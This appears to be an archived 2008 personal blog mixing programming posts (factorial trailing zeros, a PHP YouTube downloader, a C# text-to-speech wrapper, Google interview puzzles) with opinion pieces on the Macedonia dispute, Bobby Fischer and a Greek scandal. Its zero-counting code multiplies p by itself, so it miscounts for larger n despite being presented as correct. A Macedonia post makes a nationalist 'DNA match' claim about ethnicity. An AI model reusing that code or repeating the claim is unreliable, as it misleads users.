int findZeros(int n) {
z<-0;
N<- n!
while ( N%10==0) { z++; N/=10;} return z;
}

It seems right but has a terrible flaw: it fails at very 'small' values of n, in our 4-byte world, for n=15. Using some Java code like below, we can verify this case.

int n=1,i=2,m=1;
while(n>=m) {
m=n; n*=i;
System.out.println("Previous value "+m+" Current value "+n+" Counter "+i);
i++; }
System.out.println("OOPS! Overflow!");

So, if our code works only for 14 cases, it is pretty much useless. We should do better than that.
For number theory geeks, like myself, this means show time! The equation below is called the Legendre's formula
and basically computes the factorization of n!. The exponent in which prime p is 'participating' in the factorization is the sum in the figure. Now, we should use it for our case. 10 is the product 2x5. So, the exponents of 2 and 5 in the factorization of n! defines how many zeros we get. For example, 10! = 1.2.3.4.5.6.7.8.9.10 = (2^8).(3^3).(5^2).7 So 2 is found 8 times and 5 is found 2 times in the factorization, hence if we pair up the 2's and 5's we get two zeros. Now, there are obviously more 2's than 5's in the expansion so finally we have to answer at the question:
What is the exponent of 5 in the factorization of n!?
Based on the reasoning above this is equal to the number of zeros of n!.
Based on Legendre's formula we have to calculate:
[n/5]+[n/5^2]+[n/5^3]+... to infinite. This is done for example by the following Java code

calculateZeros(int n) {
int s=0,r,p=5;
while((r=(n/p)) !=0)
{s+=r;
p*=p;}
System.out.println(n+"! has "+s+" zero"+((s==1)?"":"s"));
}

For example, 25 = 1.2.3....23.24.25 = 15511210043330985984000000. Running the above code will produce the message 25! has 6 zeros. Instead of messing with a number with 26 digits (25!) you only have to deal with the number 25. Why?

In the sum S(n) = [n/5]+[n/5^2]+[n/5^3]... the first term, [n/5], computes how many numbers up to n are multiples of 5. For the 25 case there are 5 of them: 5,10,15,20,25. The second computes all multiples of 25, i.e. only one. The third and all others are zero. A number that in its factorization, the prime 5 is in the power of k, e.g. 10 = 2.5 and k=1 or 25 = 5^2 and k=2, participates in the first k terms of the sum by adding one to each term. Hence its overall contribution is k, hence the sum S(n) calculates the power of 5 in the factorization of n!, and therefore the number of zeros in the decimal representation, Q.E.D.

That was it! There is no other way to handle such big values and the solution can deal with really gigantic numbers without explicit calculation. The interviewer had elementary number theoretic knowledge but was able to follow the reasoning and we had a very nice conversation after that. He seemed to be fond of such mathematical tricks as the one we dealt with.

In summary, I think this was the interview question that booked me the plane ticket to fly to the Google site. I was very satisfied after we hang up and I was impatient for the outcome but deep inside I was sure it was an ideal interview session and that my chances were great. The next morning I received a phone call from Google inviting me for the on site interviews. Mission was accomplished.

This post ends a series of posts in which I wrote about my phone interviews with Google along with many interview questions. For the on site interviews I am bound to an NDA so maybe I will post them encrypted! That's all for now about Google interview questions. Until, I come back for the on site experience remember a small tribute to Number Theory: "Die ganzen Zahlen hat der liebe Gott gemacht, alles andere ist Menschenwerk" (Numbers were created by good Lord. Everything else is human's work-Leopold Kronecker)

Macedonia - It's All In The Name

2008-02-23T12:13:00.000-08:00

The Macedonia naming dispute has been around for almost 15 years now. It is currently in top international news thanks to another 'diplomacy magician', Mr Matthew Nimic (or Matthew Nimitz if you prefer), again re-proposing a menu of composite names for FYROM, from which we should select one (like a multiple choice). It is a battle that Greece lost some years ago but still keeps haunting its public affairs.

To begin with, the problem has two players: Greece on the one side and on the other side the-how-should-I-call-it, former Yugoslavian Republic Of Macedonia(FYROM). The problem is really complex and lies not only in the naming of FYROM, but also in the historical distortions and nationalist allegations it might yield. It is so important that is alive for some decades now and has triggered significant political events in both countries.

I am from Greece and it is a dispute I have lived with, throughout my entire life. I can still remember the ridiculous rallies that as a student I was engaged in (at the age of 9 or 10) during which we kept saying to ourselves: "Hell yeah, Macedonia is Greek!" and then went to our homes being sure we had done our job. In the meanwhile, Greek diplomacy was losing the one battle after the other and now we are engaged in talks of the so-called "composite naming". In other words, the naming dispute is a battle we have already lost. But let's take things from the beginning.

The whole buzz started in 1991. Tito's Yugoslavia is being teared apart and a new nation arises claiming to be the "Republic Of Macedonia". Kiro Gligorov is FYROM's Prime Minister and Costas Mitsotakis is Greece's. EU is using the name 'Macedonia' to which Greece objects and the dispute has just been born. In April 1992, Mr. Pineiro, Minister of Foreign Affairs of Portugal attempts to solve the problem, by suggesting the name 'New Macedonia', Greece says 'Yeah right' and a fierce political warfare begins. In the key UN General Assembly of 1993 FYROM enters United Nations with the provisional reference "former Yugoslav Republic Of Macedonia" hence FYROM. Both terms here are important. Provisional means that this is temporary situation and reference means that FYROM is not the name of the state. UN washed its hands and said that the name was an issue to be resolved. China is the first to recognize FYROM as 'Republic Of Macedonia'. In the course of 1993 and 1994 all EU countries and USA, Japan and Russia also do the same, resulting in the loss of the naming battle. Greek diplomacy had tragically failed leading to political instability and the eventual fall of the government in October 1993. Whatever followed was just talks and talks, without any substantial political importance. The course had been drawn in 1993.

However, a key-development in the dispute was the 'Intermediate Agreement' in New York,1995. Greece lifted the economic embargo on FYROM that Andreas Papandreou had imposed as soon he had been elected Prime Minister and FYROM, on the other hand, abandoned a whole series of ridiculous actions: Using the Vergina Star (Ancient Macedonian symbol) as the national flag, correcting their constitution that was referring to 'Macedonian people and their rights in adjacent countries' and many other nonsense. While all other issues were solved the naming dispute was not, and it was agreed that the two countries should do that under the auspices of UN. In the agreement, Greece agreed not to refrain FYROM from entering international organizations, provided that it would enter with the name FYROM.

Now the news is that, our neighbor wishes to enter the NATO alliance while Greece says it will not agree and will impose a veto on FYROM's bid, if the naming dispute is not resolved beforehand. One of the criterions for entering NATO is 'good behavior and relationships whith neighbors' , which is Greece's front line of defense. This also is not in contradiction with the New York Intermediate Agreement, since this was an out-of-NATO agreement and hence does not affect in-NATO affairs.

Whatever might happen, today almost 123 countries have recognized FYROM as 'Republic Of Macedonia'. For the most of the foreigners, it is hard to understand the significance of this dispute. Anyone should be free to choose the name he desires, right? If people leaving in Skopje want to use the name 'Macedonia' for self-definition, so be it, right? Well yes, as long as this does not hurt anyone, this is true. For Greeks, Macedonia is a part of the land's history to be proud of. I will not try to give proofs that Macedonia is closely tied to Greek history. It was just another city-state like Athens or Sparta hence it is absolutely ridiculous to try to give any historical proof that Macedonia is Greek. For me it is.

As a little boy, I couldn't understand why this should even be a 'dispute'. It seemed to me that it was so easy to prove that Macedonia was Greek (Macedonians were speaking the Greek language, they lived in the area of Vergina which is a Greek town blah blah..) that it should not be an issue in the first place.

Well, now I know to some extent of course, that international diplomacy works otherwise. Some countries simply do not care about history but about business. For example, China.Who cares in China about the Macedonia dispute? The quickly recognized it (I am sure they didn't even have to look at the name) and started making business with the new country (FYROM was the usual entrance of Chinese products to the European market) Some on the other hand, follow USA which generally is busy creating problems in the Balkans area and carefully maintains a hot-spot inside Europe's heart by promoting Albans allegations (support of Albans during Serbia's civil wars then NATO bombings then support of Kosovo's independence, seems to me as a nice strategic plan)

However we are not cry-babies nor do we wish spending our lives correcting anyone who uses the term 'Macedonia' instead of FYROM. After all, our economic relations have flourished , proving once again that economy players live in their own world. Despite all the political heat and the tension between the two countries, the volume of our financial transactions has been up 1500% from 1995 to 2006 (50 million $ in 1995 and 800 million $ in 2006) Imagine what will happen if we start franchising other ancient Greek names. Then our economy will skyrocket!

In summary my view is this: I look with sympathy our neighbor that is trying to find an identity to be proud of. However, the distortion that this causes is much more significant. People might connect the term 'Macedonia', 'Alexander The Great' and others with a territory that had nothing to do with Ancient and Modern Macedonia but also more importantly with people that have a negative DNA match with Ancient Greece. If this sounds nationalist so be it. I will keep on spending my time for this cause nonetheless. And we will keep on editing ridiculous Wikipedia articles like this one about FYROM:

"Over the centuries the territory which today forms the Republic of Macedonia was ruled by a number of different states and former empires, but Macedonian blood has always run in the genes of the Macedonians living in this region."

How ridiculous does this sound?? If anyone wishes to play on blood terms he can try understanding this:

"Αλέξανδρος Φιλίππου και οι Έλληνες πλην Λακεδαιμονίων"

That's all Greek to you? I am sure it is.

P.S - Not important since it has historical truths
To be serious it is all in the name: Macedonian comes from the Greek "μακεδνός" (makednos) meaning someone which is tall. Greek Macedonians are generally tall people compared to the 1.65 average of the other 'edition'

Gmail: How Slow Can We Go?

2008-02-17T14:16:00.000-08:00

Today, I received a call from a friend asking me if I got the e-mail she had wrote a half an hour earlier to my Gmail account. I said no, and assumed that she had sent it to a wrong address.

However, 3-4 hours later, I received the mail we were talking about and became suspicious after remembering some other similar incidents in which I had suspected delivery delays from Gmail. I made a quick search and found out that this is a 'hot' subject recently, both in blogs and discussion groups. For example this Gizmodo post from Feb 2008 or this recent article, raise the exact same question and the users ' feedback indicates that there is actually a Gmail delivery problem.

I only hope that it is Google to blame and not anybody else..(who said NSA?)

How To Download YouTube Videos with PHP

2008-02-13T23:27:00.000-08:00

[Update #1: In a next post you can find the full Youtube Download PHP scripts. However browsing through this article will help you understand the technique hidden in the source code. your choice!]

As everybody else I suppose, I have used some software but also sites to download YouTube videos. I used to made a wrapper software that used this techcrunch tool. There is a vast collection of tools available that could do the job as easily as this. However, there is some time now (1 or 2 months) that all these have...stopped working. You can see for yourself. Try searching for 'youtube video download tool' and roam on the results for a while. You will find out that the vast majority of these sites are basically 'out-of-service'. Perhaps because of legal issues.

Anyway, to hell with 'cloud computing', I said, and decided to write my own code for downloading videos from YouTube. You may have noticed a small iframe in the right bottom corner of the blog with the name 'DOL Gadgets' (under the categories section). It basically hosts some PHP code that runs in my machine and can provide download links for YouTube videos. Regardless, the language you use to write the code, one has to overcome a small problem. The initial YouTube video link does not contain explicitly a link where the video actually is hosted. So, there are some small tricks you have to employ.

First thing is to discover how your browser finds the content to play. As an example let's say you click on the Eric Prydz's Armed video with the URL being:
http://www.youtube.com/watch?v=T0XIMkuo81Q

In Firefox, I used the Live Http Headers add-on to make a little spying. Using this tool we can watch in real time the http communication that is going on while you are browsing (GET/POST requests, responses, headers etc) The first thing to notice is that the browser finally makes a request like this:
GET /get_video?video_id=T0XIMkuo81Q&t=OEgsToPDskJW2DY1pibC1Tu7D7tVOZrE
If you put it directly into the browser this will open a Save File Dialog for you to download it. Saving the file with an flv extension finishes our job. But to create a request like this?

There are 2 parameters in this: the video_id and t. The first is what you already know from the initial URL. The latter, which I tend to call it ticket, is not available but somehow the browser locates it (or the player). So the plan is clear: get the video_id from the initial URL and then try to find the ticket.

Let's begin from the harder one. Since there is no other alternative the ticket should be communicated in the initial request or some subsequent. Opening the source of the page that is returned from the initial video URL we can find that the ticket is actually there. To get the video_id we simply process the initial URL. Now we are done. The scenario is complete:

1. Get the page returned from the initial URL
2. Retrieve the ticket from this page
2. Retrieve the video_id from the initial URL
4. Create the GET request using the video_id and the ticket

This is exactly what the PHP code does. (Excuse me for the poor PHP syntax and coding, but I am far from being comfortable with the language) If $location has the initial URL then :

To execute step 1. we can use the following PHP snippet:
$handle = fopen($location, "r");
if($handle) { $contents = '';
while (!feof($handle)) { $contents .= fread($handle, 8192); }
fclose($handle);
With this, we read the stream to the variable $contents which now has the YouTube landing page.

To execute step 2.
$result1 = preg_match("/&t=([\w]*)&/",$contents,$tickets);
$ticket = $tickets[1];
The preg_match is a regular expression matching function in PHP. Basically we match a pattern that can extract the ticket against the YouTube page. It returns true when there is a match and the matched groups (if any) are returned in the $tickets. After this snippet the $ticket variable has the needed string to construct the GET request.

To execute step 3.
$result2 = preg_match("/v=(\w*)/",$location,$video_id);
$id = $video_id[1];
The same reasoning holds here. $id has the video id(first parameter)

To create the GET request and execute the last step we can use the php snippet
echo "<"; echo "a href = \"http://www.youtube.com/get_video?video_id="; echo $id; echo "&t="; echo $ticket; echo "\"Download link.";
This creates a hyperlink that when followed prompts to download the video file.

That's all! One networking function, two simple regular expressions and ...done, we have a YouTube video downloading on our PC. Now, it is easy to expand the service. In subsequent posts, I will try to give code for the Javascript version, but also other enhancements like entering the video name rather than the video UR etc. Till then, feel free to use the tool in the blog site or adjust the code to your needs.

Let's Celebrate For A Little - 1K Visitors!

2008-02-12T23:22:00.000-08:00

This is a special day for the Developer On Line-DOL- blog. Today the number of unique visitors on this blog reached more or less the astronomical amount of 1024! Before making a little fun a sincere thanks to everybody that has visited this page and specially to anybody that is subscribed on the blog's feeds. Now I think it is time to introduce better, but in short, the story behind this blog and prove why it should keep ...existing!

It started in early September with the first 'Hello World' post. Initially I planned to keep it strictly technical but it is not easy to resist broadening the subjects (sticking your nose everywhere is the right expression!). One thing I have kept is the blog being ad-free and I plan to keep it that way. It is nice to have a clean place for me to write and for you to read.

Trying to post original material is also in the 'routine'. The book stacking problem post is a good example on that. I won't say that everything here is 100% 'cotton' (this is your job!) but I confess having canceled posts that I found that had nothing new to add compared to other web sites. There is no meaning in reposting news, or republishing articles or code that is already there and is freely accessible.

Despite being around for almost 6 months, it is true that I have not been so productive. There are a total of 20 posts in this period that equal to less than 1 post per week. DOL promises to intensify the posting process and has already masterminded and executed the perfect business plan for that. I only have to wait for today's lottery and these six numbers to come up and I will be devoted in this blog for the rest of my life...!

Some statistics now. You may have noticed that this blog is using Google Analytics to measure blog traffic. It is an easy and nice way to keep track of how people find our page and how they navigate inside it. By understanding how people get to your page, you can increase blog traffic and although I do not earn money from this, it helps me in asserting the quality of the content. Here is some statistics of the countries that have visited this blog. US and Greece stands out, much ahead than other countries(UK, India etc) The main sources come from search engines in which DOL generally ranks pretty well.

DOL visitors in six months

Once again, thanks to everybody.

IMPORTANT:
PS. Now that DOL has this enormous influence, it officially endorses Barack Obama for President of the US!

If he loses, DOL invites him to Greece; we urgently need a Prime Minister and we desperately need change...

Bidding In The Name Of...

2008-02-10T23:34:00.000-08:00

One of the most important 'events' worldwide in mobile communications is the currently open FCC auction for the 700Mhz band or Auction 73 in short. It started in January 24th and among things that make it interesting, is the diversity in the participants' list. While participants and bidders will not be known until the auction finishes, some of them have already expressed publicly their interest in the auction, the most interesting being Google Inc.

The band auctioned off covers the spectrum from 700MHz to 800MHz and is one of the last bands that are of interest to wireless communication carriers due to its physical properties (ability to penetrate walls, buildings etc) The spectrum in auction is divided into 5 zones, names as A,B,C,D and E blocks legally divided into 1000+ licenses. The Holy Grail seems to be the C block, since it is the largest 'strip' (of total 22Mhz, almost double than any other block in auction), it is the least segmented (total of 12 regional licenses among 1099 licenses) and also the best suitable for building wireless networks.

Google has decided to enter the mobile market. This has been obvious for a long time now, since basically it is easy to notice how carefully the company launches the mobile version of its services (search and mail were always available for mobile phones)The company also has much interest in collaborating with different vendors and platforms. For example, the iPhone was the first to host the mobile Ajax version of Google mobile services: Search, News, Blog, GMail and others.

However, above all comes the Google mobile platform currently under development: Android. The platform basically tries to bring the Open Source culture on mobiles. First, it is a Linux based platform (or according to Symbian's CEO Yet Another Linux Platform!) Second, it is free to vendors that choose Android to build their phones on. On the road its adoption from the industry, Android will have to face multiple challenges: a segmented market with many big players (Symbian, Micosoft, Sun,Apple) but also a different world where mobile wireless carriers are the dominant players.

It isn't clear however, if Google wants to own the band, to use it for building wireless networks to host the Android and gPhones or just to assure open access to these networks. The latter was very clear from the beginning and it is speculated that Google was the 4.7 billion $ bidder that guarantees that whoever wins the C block will provide with an open-access network.

If Google wants to take it further it will have to play against big names, the most motivated being Verizon Wireless. But this is not all. There is a hundred other participants in auction 73, among them, AT&T, CableVision and EchoStar (to provide with wireless services) and even Chevron corporation, maybe interested in creating a network among different company departments.

Recently the auction for the C block took a wild turn. In February 5th it was the first time when nationwide bidding was under the aggregate of the 12 regional biddings. As a result, the block might be segmented into different winners, leading possibly to a Babel of incompatibilities that will make it useless. As an antidote bidders should win every region or agree later on an open and free network. It is a commonly expressed opinion that if Google wins the auction, we will witness big changes in the way which the mobile industry works. Taking into consideration the open nature of Google's Android platform this is not science fiction, however reality is much harder for Google. With its recent moves the company has caused a lot of frustration, even to traditional allies like Sun or Apple, for different reasons to each. Android is also problematic (see here for example) and has not yet convinced mobile developers that it is the revolution it preaches to be.

No industry analyst makes better predictions than time, so we will have to wait for a clear view. Until the auction finishes anything else (including this post) is speculation..!

Google Interviews Part IV

2008-02-05T17:14:00.000-08:00

This is the 3rd interview I had with Google. You can find the previous and the questions asked here:
* First Google interview
* Second interview

Update: Fourth Google Interview

In the 3rd interview I talked with a woman software engineer from Mountain View. As usually it lasted for about 45 minutes but there was a surprise waiting at the last question..But let's take things from the beginning.

The first question was a hard test for my memory: "How do you test your code?" This is a fair one for software engineers. But not for my style. I personally like things that are quick and dirty. For larger projects I use some of my own class libraries that employ some kind of logging, measure method execution time and so on. But saying "Well, I use my own class libraries." I thought would not be a good answer. Nor a professional one.

So talking about Java, I made the mistake of mentioning the JUnit framework. I had used for some time (long ago) but the time had passed so I had forgotten even the basics. And of course the interviewer started the questions (How the JUnit handles exception and others) To tell you a secret I had already opened in my browser a JUnit site (some kind of tutorial I guess) but this didn't help at all. So, don't do it. It will only make things worse. Trying to think logically didn't help either. The interviewer kept pushing, until I 'broke' and admitted that I couldn't answer. That was it. We moved to the next question.

All next questions were really typical, the kind you find in tech interview sites:
* "What is a Unix kernel?"
* "What is the difference between interfaces and abstractt classes?"
* "What is the difference between threads and processes?"
* "What is inheritance, polymorphism and encapsulation?"
* "What is overriding and what is overloading?"

I think there is no need to elaborate further on that. You most probably have come across these concepts and have your own mind.

Which brings us to the last question. Actually it was a puzzle including programming with handicaps, i.e. with small processor, low memory etc. The puzzle was this:
"You have 1000 integers. All are less than 1000 and greater or equal to 1. Among them, 999 are distinct and there is one that is found twice. How can you find the duplicate?" To this I gave an answer I think is optimal. The idea is simple. If you denote the duplicate number by d and the sum of all the integers by S then the following equation holds:
S-d= 499500 since S-d is the sum 1+2+3...+999 which is equal to 499500 by applying the formula 1+2+3...+n = n*(n+1)/2
Now the good thing is that we can be able to find the duplicate even we have capacity for one integer, or when reading from a stream and so on. We can optimize even if we apply modulus to the first equation: d = (S-500) (mod 1000) Now if d is equal to a positive number mod1000 then this is the duplicate, otherwise the duplicate is the negative part plus 1000. For example is 1 was the duplicate, then d=1(mod 1000) and the duplicate had to be the 1. If the duplicate was 600, then d=-400(mod 1000) so the duplicate had to be -400+1000=600. This means we do not need to have storage for integer (int type) but only the byte type is enough.

While fairly easy to grasp the interviewer had difficulties in understanding how this would work, so she asked for an example when we have 10 integers. I replied this would transform the equation to d =S-45 but then the counter question was disappointing: "How did you compute 45?" It is quite obvious however that I had to compute 1+2...+9 which is equal to 45 when applying the formula that Gauss found when he was 8. But the interviewer started computed 'by hand' the sum, adding the numbers from 1 up to 9, which left me speechless for some seconds. I mentioned that there was a formula for that but she didn't listen, still being concentrating on her computations. I didn't bother elaborating on the modulus idea since obviously would not give me any more credit.

After that, the interview had finished. I didn't ask anything, saying something like 'I have many questions but I do not wish to spend any more of your time' and we ended the conversation. In overall the last incident was really awkward. To that time I believed that all Google engineers had a good mathematical background. The engineer that I spoke with, did lack elementary skills. So in my eyes, the myth had been destroyed and it is a good advice to anybody, not bother berating himself more than he should. If you already knew the formula for the sum of consecutive integers, you have a good reason to feel more confident.

Update: Go to the last Google phone interview

For God's sake, Calm Down..

2008-01-28T04:50:00.000-08:00

Recently, I published a post about the Zahopoulos scandal that has been in top news stories in Greece for the last month. It was intended to be an analysis about the case, with some information over some of its key participants (Zahopoulos, Evi Tsekou, Prime Minister Mr.Karamanlis and his wife Natasa Karamanli and others)

If you are not aware of the case, it involves a DVD in which Zahopoulos is supposed to reveal secrets to Mrs. Evi Tsekou, during their private moments, that are of great political significance. From the moment this was revealed, a large portion of Greek journalists, public but also Greek intelligence agencies have embarked on a safari for the discovery of the precious content.

Now, the site has been receiving massive traffic, originating primarily from search engines that respond to queries like 'zahopoulos dvd', 'zahopoulos tsekou original dvd' and so on.

I have also received some 'weird' e-mails and I want to make clear to all officials and un-officials that I am not aware of the DVD's location or possible download sites of course. The hype escalated when, yesterday, a video circulated in the net, now is on Youtube and countless 'low-profile' sites (blogs etc.), that supposedly is a part of the DVD content. You can find this video here.This video was top story in all Greek media and all kind of 'experts' took turns in expressing their 'prestigious opinions'.

However, once again, their information was absolute nonsense. It is obvious that this video is a fake. This is such an amateur work that the creator records his PC screen that most probably runs some kind of movie maker software (the DVD content was created by using a still hidden camera). It is also fake for a thousand more reasons for which I will not bother writing. So, from this place I would recommend to anybody to simply 'calm down'.

After all, the 'tampered' DVD (not the original) will be released to the public in February 8th by the official interrogator that is in charge of the case. So, let's have patience and focus on the important things here.
* Who has the original DVD?
* What is its content?
* What was so important that led a powerful political man, like Zahopoulos, to commit suicide? Was it of economical or political nature? Or both?

We are patiently waiting for the justice to arrive at conclusions. From my point, I can only publish my own thoughts and the information I gather in a most-neutral way possible. I intend to keep on ignoring the darkness in my mail inbox and willing to express my opinions freely.

Text-To-Speech For The Masses

2008-01-25T02:03:00.000-08:00

Adding speech to your software application might be a good idea. It is not still commercially much appreciated, but it is at least a nice way for show-off! To be serious, new human-computer interfaces will most probably be one the next big things. All major software companies have heavily invested on this area and the CES 2008 pointed out a lot of such cases. For example, the SpaceTime search interface was really beautiful and therefore interesting.

However, I had not, until now, managed to get in my hands any decent and inexpensive Text-To-Speech engine (TTS). Perhaps, I was not lucky but I have tried along the way many solutions that did return speech on text input, but the result was unpleasant. For example the SpeechLib from MSDN for Windows was one, but as most of the other TTS engines, has robotic and 'cold' voices, the kind that appears in good-old sci-fi cult movies.

By far, the best TTS solution I have come across is AT&T Text-To-Speech Project. This is a project of AT&T Research. It is actually web-based and it is free.One should however not abuse the service and make a reasonable amount of calls to it. There is a commercial version available, but if you are doing this for fun, you do not need it.

The interface in the site allows you to enter a text, select a voice of your preference (they have names like Crystal, Mike, Charles etc-my favorite is Crystal) and click a button. Then you are pointed to a URL that has the WAV version of your input text. The voice is clear and in certain cases the result is very satisfying.

I have compiled a small lib function for everybody to use the service. It is written in C# and effectively it makes an HTTP POST request in order to generate the audio file. The source code is straightforward and it goes like this:

/*
Example input: speak("Hello there","crystal")
C# source code for AT&T TTS services
by panefsky
*/

private string speak(string theText, string theVoice)
{
try
{
string uriString = "http://192.20.225.55/tts/cgi-bin/nph-talk";

/* Create a new WebClient instance.*/
WebClient myWebClient = new WebClient();

/* Create a new NameValueCollection instance to hold some custom parameters to be posted to the URL.*/
System.Collections.Specialized.NameValueCollection myNameValueCollection = new System.Collections.Specialized.NameValueCollection();

string voice=theVoice;
string txt = theText;
string downloadButton = "DOWNLOAD";

/* Add necessary parameter/value pairs to the name/value container.*/
myNameValueCollection.Add("voice", voice);
myNameValueCollection.Add("txt", txt);
myNameValueCollection.Add("downloadButton", downloadButton);

/* Upload the NameValueCollection.*/
byte[] responseArray = myWebClient.UploadValues(uriString, "POST", myNameValueCollection);
string response = Encoding.ASCII.GetString(responseArray);

/*This code retrieves hyperlinks from a page*/
PODN.Net.Search.PageParser pp = new PODN.Net.Search.PageParser();
PODN.Net.Search.PageLink[] links = pp.RetrieveHyperlinks(response, uriString);

string fileToPlay=null;
if(links!=null && links.Length>0)
fileToPlay = "http://192.20.225.55" + links[0].URL;

return fileToPlay;
}
catch (Exception e) { /* ERROR */}

}

This function (string speak(string, string)) accepts as input the text to say and the voice to use. Voice values can be "crystal", "mike" etc. As a result it returns the URL in which the WAV file resides. This C# source code can be compiled and built on .NET Framework. It uses some .NET libraries such as the System.Net and System.Text that it is easy to link. It also uses one of my .NET libs (the PODN library) and especially a function to retrieve hyperlinks from a page. You might be well be in the possession of your own, home-made networking libs. You can compile this version to run also on mobile phones and the Windows Mobile platform, with one minor change in the source code. You will have to configure the POST request, because the .NET Compact Framework does not support the WebClient class. Use of plain and simple HttpWebRequest will be just fine for giving voice also to your mobile phone.

To demonstrate a use case, I have created a mini-app called Speaker (yes my imagination has gone wild!) that has two simple functions:
1. You can write a text and have the computer say it
2. You can push the 'Tell me the News' button, which will download Yahoo! news and let let the computer tell the top 5 in the news list.

You can find the application (speaker.zip) in the Developer On Line file site. Download the zip file, unpack and run. Your computer has now voice!

For any clarifications about the software, feel free to comment.

Google Interviews Part III

2008-01-20T16:28:00.001-08:00

This continues from my first Google interview described here In overall, the second one was harder in terms of questions and expectations. I was called again from Mountain View sharply at the time we had arranged.

The conversation began with an interesting question: "What would you change in the Java programming language?" This has more than one questions embedded and it is educating listening to all possible answers. For example, one of my suggestions was having 'mechanisms' much like the properties fields in C# to ease development (programming get/set methods seems very tiring to me)Since the question was referring to the language and not to the Virtual Machine anything you find tiring or absent in Java is probably a valid answer.

We next proceeded to a C programming question. My interviewer knew that I was not a C-guru so he was gentle on that. The question was something like this. What is the output of this C program?
main() {
char X[500] = "Hello World";
printf("%s",X+5);
}
I knew it had to do something with memory allocation but I was not succinct on that. I said that the output would be blank and I guess I was right (the interviewers never tell you directly if you are right or wrong) So we said OK and moved on.

The 3rd question was about creating random functions. It is the type of questions where given a function randX that provides uniformly numbers from 1 to X, to generate a another randY. The actual question was about making rand8 from rand6. It is easy to establish how to get a rand2 from rand6. Then you can get rand8 from rand2.

This was a straightforward case. However, this problem appears very often in such situations and deserves some attention. You may find unlimited nonsense by searching for 'create rand7 from rand5' which is also a frequent question. Trying these forums/blogs etc you will get endless efforts of shifting from one rand to another using common arithmetic functions (addition, mod etc). This is nonsense. You will have to shift to elementary analysis for a while to get some good results.

In the general case consider you have to generate randX from randY where Y > X. Now consider that this yields the division: Y = n*X+r So, you can one group of Y elements into X groups of n elements and one more group with r elements. Now number the X groups as 1,2,3..X Then, create a 'machine' that uses the algorithm:
m = randY();
IF m belongs to one of the X groups return its number
ELSE restart the machine
The probability in every run of the algorithm to return one specific value from 1 to X is a =n/Y and the probability that the algorithm restarts is b = r/Y. So, the overall probability that the machine will output one number from 1 to X is :
P = a+a*b+a*b*b+a*b*b*b+... = a*(1+b+b*b+...) = a/(1-b).
By substitution we get, P = 1/X
In other words, we have generated the function randX
Now, if we wish to increase the rand range, for example get rand7 from rand5 you can create rand25 from rand5 (two rand5 calls) and then use the above method. Shifting to infinity is inevitable in some cases and all other efforts are in vain.

Back to the interviews, the final question had to do with designing and analyzing an algorithm. This had to calculate all representations of an integer as a sum of cubes. You can find many similar examples in algorithms textbooks so presenting this story here is trivial. What is interesting is that, we started a discussion on an incident that was directly related to the problem. This is usually called as the 'cab number story'. Back in the days when Ramanujan was in Cambridge and was working with G.H. Hardy, he had frequent health problems. One day, Hardy visited Ramanujan to the hospital and to start a discussion he mentioned the number of the taxi cab that brought him there. He said something like "..The cab number was 1729. I think this number is not interesting at all." A few seconds Ramanujan (which was extremely competent with numbers and calculations) replied: "You are not right Mr.Hardy. 1729 is very interesting. It is the smallest number that can be written as a sum of cubes in two different ways."

This was a nice way to close the interview. We didn't have much time left, so we said some relaxing things and then ended the interview conversation. All in all, it went well and my interviewer was a really nice person. Our discussion was interesting and I soon got the news that I was to pass to the next level. Having acquaintance with math and generally science history certainly helps!

Jump to the next Google interview.

Robert James Fischer-The King Is Dead (1943-2008)

2008-01-18T04:40:00.000-08:00

I heard it a couple of minutes ago. Bobby Fischer died in a hospital of Reykjavik, Iceland, the very place where he became the king of chess players beating Spassky in the final match. This leaves a bitter taste to all chess fans, and more to Fischer fans like myself.

Child of divorced parents, he lived with his mom and older sister, which introduced Bobby to the game. He quickly left school and decided to be a professional chess player. At the age of 13 he played the 'Game of the Century' against D.Byrne, still considered as a masterpiece among chess enthusiasts (you don't see queen sacrifices very often)This was just the beginning and among other things Fischer became the holder of many best performance records in tournaments and matches escalating to being the World Chess Champion in 1972, at the heart of of Cold War, outperforming all Soviet chess stars. He was notorious for his passion to play each game to win.

Bobby Fischer disappeared soon after FIDE denied to accept his suggestions for changing World Chess Championship rules and refused to defend his title against Anatoly Karpov. This has been a mystery around the chess world until 1992 when Fischer re-appeared to the public and played against Spassky in Serbia (Former Yugoslavia). This had political interest since Serbia was under embargo from the US at the time. After that Fischer had to find a political asylum which he finally found in Iceland.

Bobby Fischer had early established the habit of dressing well and it is rumored he had a massive collection of shoes. Fischer himself describes that one comment after a chess tournament ('He may play well but he dresses like a homeless') is what triggered his behavior. All this have led many to call him 'arrogant' and 'self-centric'. At the last years of his life he has been accused of being racist and anti-semitic, things that he triggered himself after expressing strong anti-semitic opinions over the 9/11 incident on the radio.

One could write for days about Fischer's bad behavior but all this have little significance now. This has been a small tribute to Bobby Fischer who died today. His ingenuity has inspired a whole generation of chess players and his plays are of unmatchable beauty. In my eyes, he is the best chess player of all times. and beyond chess mastery one can discover lessons of life in his strategies: The first that comes to my mind: "No draws. Win or lose."

Greeks Do It Better

2008-01-16T11:04:00.000-08:00

This articlecontinues here

And when it comes to corruption we are the best...Our political system rewards the best among them every 4 years, by a process we tend to call 'elections', which places them in critical government positions.

The great fuss started after the attempted suicide of the Primary Secretary of the Ministry of Culture, Christos Zachopoulos after having resigned from his position by claiming 'health problems'. The Minister accepted it and the case, although strange, seemed trivial. The first clouds appeared when it became publicly known that Mrs. Evi Tsekou, an employee inside the Ministry was blackmailing Zahopoulos. The reason was simple. But before going into details a short introduction is needed in order to understand the magical inner workings of Greek corruption system.

Zahopoulos has been a close friend of the current Prime Minister Kostas Karamanlis, several years ago, in Thessaloniki, when he was still being elected as member of the Greek Parliament. Zahopoulos was also a close friend of Natassa Pazaiti, now wife of the PM and using his connections, he helped her greatly with her 'academic' courses. When Kostas Karamanlis was elected Prime Minister, he also took control of the Ministry of Culture and appointed Zahopoulos as the General Secretary. Zahopoulos had immense power in the Ministry and in all successive reformations that took place in it, in the 5-year period that the political party of New Democracy has been in government, he has been tight in his position.

During all this period his behavior was provoking and many had warned the Prime Minister for his illegal actions. However, this was never going in public and Zahopoulos was completely covered by 'higher above'. The Greek audience became aware of his existence in summer of 2007, during Greece's huge fires, when he embarrassed himself when caught ignoring Cronius Hill (Κρόνιος Λόφος in Greek) as being a holy place of Olympia town. The Cronius Hill was destroyed by the fires and Zahopoulos was widely accepted as an incompetent, ignorant and almost dumb civil clerk.

